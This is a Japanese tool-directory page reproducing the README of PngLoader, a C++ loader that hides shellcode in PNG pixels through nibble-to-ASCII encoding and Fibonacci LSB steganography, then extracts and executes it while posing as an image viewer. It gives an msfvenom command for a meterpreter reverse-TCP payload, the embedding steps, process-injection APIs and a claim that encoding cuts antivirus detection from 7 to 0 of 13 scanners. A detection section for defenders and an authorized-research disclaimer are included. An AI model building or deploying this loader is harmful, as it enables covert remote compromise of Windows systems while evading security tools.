Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PngLoader — PNG画像内に任意のペイロードをニブルからASCIIへのエンコーディングとフィボナッチLSBステガノグラフィを用いて隠蔽し、埋め込まれたデータを抽出して実行するC++ローダーを備えています。 | Kitploit
ツール/GitHubGitHub/i014n/pngloader
防御ツールペイロード生成エクスプロイトシェルコードステガノグラフィーマルウェア分析学習と教育レッドチーミングペイロード開発
GitHubi014n/pngloader

PngLoader

PNG画像内に任意のペイロードをニブルからASCIIへのエンコーディングとフィボナッチLSBステガノグラフィを用いて隠蔽し、埋め込まれたデータを抽出して実行するC++ローダーを備えています。

313022時間46分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

PngLoader — ステガノグラフィックペイロード研究

免責事項: 本プロジェクトは教育および許可されたセキュリティ研究のみを目的としています — ペネトレーションテスト、CTF 競技、レッドチーム演習、学術研究などです。明示的な書面による許可なくシステムに対して使用しないでください。


概要

PngLoader は 2 つのレイヤーを使用して、任意のデータを PNG 画像内に隠します:

  1. ニブルから ASCII へのエンコーディング — バイナリ → 印刷可能な ASCII 文字
  2. フィボナッチステガノグラフィ — エンコードされたデータ → PNG 内の散在するピクセル
  3. ローダー — 隠されたデータを抽出して実行する Windows 用「PNG ビューア」

クイックスタート

# 1. Generate raw test data
msfvenom -p  windows/x64/meterpreter/reverse_tcp   LHOST=<> LPORT=<>  -f raw -o payload.bin

# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt

# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png

# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex

# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PoC デモ

PoC デモ


プロジェクト構成

PngLoader/
├── 0.Scripts/
│   ├── TransformRawToEncode.py      # Nibble-to-ASCII encoder/decoder
│   └── HideEncodeToPicture.py       # Fibonacci steganography (embed/extract)
├── 1.Loader/
│   ├── loader_png.cpp               # PNG viewer + steganography extractor
│   ├── loader.cpp                   # Alternate loader (inline buffer)
│   ├── Utils.cpp / Utils.h          # ASCII → binary decoder
│   ├── VirtualBuffer.h/.cpp         # RAII VirtualAlloc wrapper
│   ├── Hearders.h                   # Shared Windows includes
│   └── Loader_png.vcxproj           # Visual Studio project
├── 2.Payloads/
│   └── clean.png                    # Sample cover image
└── readme.md

仕組み

ステージ1 — ニブルからASCIIへのエンコード

各バイトは2つの4ビットニブルに分割されます。各ニブルは、ランダムなベース(48、64、または96)を加算することで、印刷可能なASCII文字にマッピングされます:

Byte 0xFC → high nibble 0xF, low nibble 0xC

High: 48+15=63 '?'  |  64+15=79 'O'  |  96+15=111 'o'
Low:  48+12=60 '<'  |  64+12=76 'L'  |  96+12=108 'l'

デコードはmodulo-16の性質を利用します — 3つの基数はすべて16の倍数です:

original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)

ランダムな基底の選択により、同じ入力でも毎回異なる出力が生成されますが、デコードは常に決定的です。

基底範囲文字
4848–630123456789:;<=>?
6464–79@ABCDEFGHIJKLMNO
9696–111 `abcdefghijklmno

ステージ2 — フィボナッチステガノグラフィ

ペイロードのバイトは、平坦化されたピクセル配列上でフィボナッチ数列(1, 2, 3, 5, 8, 13, 21, …)に従うピクセルインデックスに配置されます。これにより、変更がクラスタ化されるのではなく画像全体に分散されます。

ビットパッキング — 各バイトはRGBのLSBに3/3/2で分割されます:

R: bits 7–5  (3 LSBs)
G: bits 4–2  (3 LSBs)
B: bits 1–0  (2 LSBs)

ラッピング — Fibonacci インデックスがピクセル数を超えると、モジュロ演算によってラップされます。衝突は線形プロービングで解決されます。0x00 ターミネータがデータの終端を示します。

画像サイズピクセル数クリーン容量
640×480307,200約27バイト
1920×10802,073,600約31バイト
4000×300012M約35バイト

ラッピングを有効にすると、最大容量 = total_pixels − 1 となります。

ステージ3 — ローダー

C++ ローダー(loader_png.cpp)は正規の PNG ビューアとして動作します:

  1. GDI+ を使用して画像を通常どおり表示する
  2. WIC(RGB24)を使用して Fibonacci ピクセル位置から隠しバイトを抽出する
  3. UtilDecryptFileQuoted()(mod-16 反転)を介して ASCII → バイナリにデコードする

代替配置アルゴリズム

Fibonacci 数列はあくまで一つのアプローチにすぎません。他のピクセル選択戦略は、容量とセキュリティの異なるトレードオフを提供します:

アルゴリズムクリーン容量(1080p)共有鍵分散コスト
Fibonacci(実装済み)約31バイトなし指数的な間隔最小
素数インデックス約150Kバイトなしn·ln(n) の間隔中程度
LFSR約2Mバイトあり(シード)疑似ランダム最小
鍵付き置換約2Mバイトあり(鍵)暗号学的高
ヒルベルト曲線ストライド依存なし空間的に均一中程度
黄金比(Weyl)約2Mバイトなし低食い違い最小
各アルゴリズムの詳細

素数インデックス — ピクセルインデックスは素数(2, 3, 5, 7, 11…)です。素数は n·ln(n) で増加するため、Fibonacci よりもはるかに高いクリーン容量が得られます。

LFSR — 最大長の線形帰還シフトレジスタが疑似ランダム置換を生成します。シードが共有秘密として機能します。全周期にわたって衝突はゼロです。

鍵付き置換(Fisher-Yates) — CSPRNG をシードとした全ピクセルインデックスのシャッフルです。鍵がなければ位置はランダムと区別できません。

ヒルベルト曲線 — ストライドを指定して空間充填曲線に沿ってピクセルを走査します。変更を2D画像領域全体に均等に分散させます。

黄金比(Weyl 数列) — pos(n) = floor(n × φ × total) mod total。可能な限り最も均一な1D分布を生成します。計算は非常に簡単です。


スキャン結果

生ペイロード — 13台中7台のスキャナが検出:

生ペイロードのスキャン

エンコード後 — 13台中0台のスキャナが検出:

エンコード済みペイロードのスキャン


検出ガイダンス

ブルーチーム / 防御側向け:

レイヤー指標
静的インポート:VirtualAllocEx、WriteProcessMemory、SetThreadContext
画像LSB プレーンに対するカイ二乗ステガナリシスが改変を検出
挙動サスペンド状態のプロセス作成 + リモートスレッドインジェクション(Sysmon EID 1+8)
エンコーディング3つの16文字 ASCII 範囲のみからなる文字

ビルドと依存関係

Python:

pip install numpy Pillow

C++ ローダー:

  • C++ デスクトップワークロードを備えた Visual Studio 2019 以降
  • Windows 10 以降の SDK
  • 1.Loader/Loader_png.vcxproj を開く → Release x64 でビルド

参考文献

  • LSB ステガノグラフィ
  • フィボナッチ数列
  • Windows Imaging Component

ライセンス

教育および許可されたセキュリティ研究のみを目的としています。上記の免責事項を参照してください。

ツールをダウンロード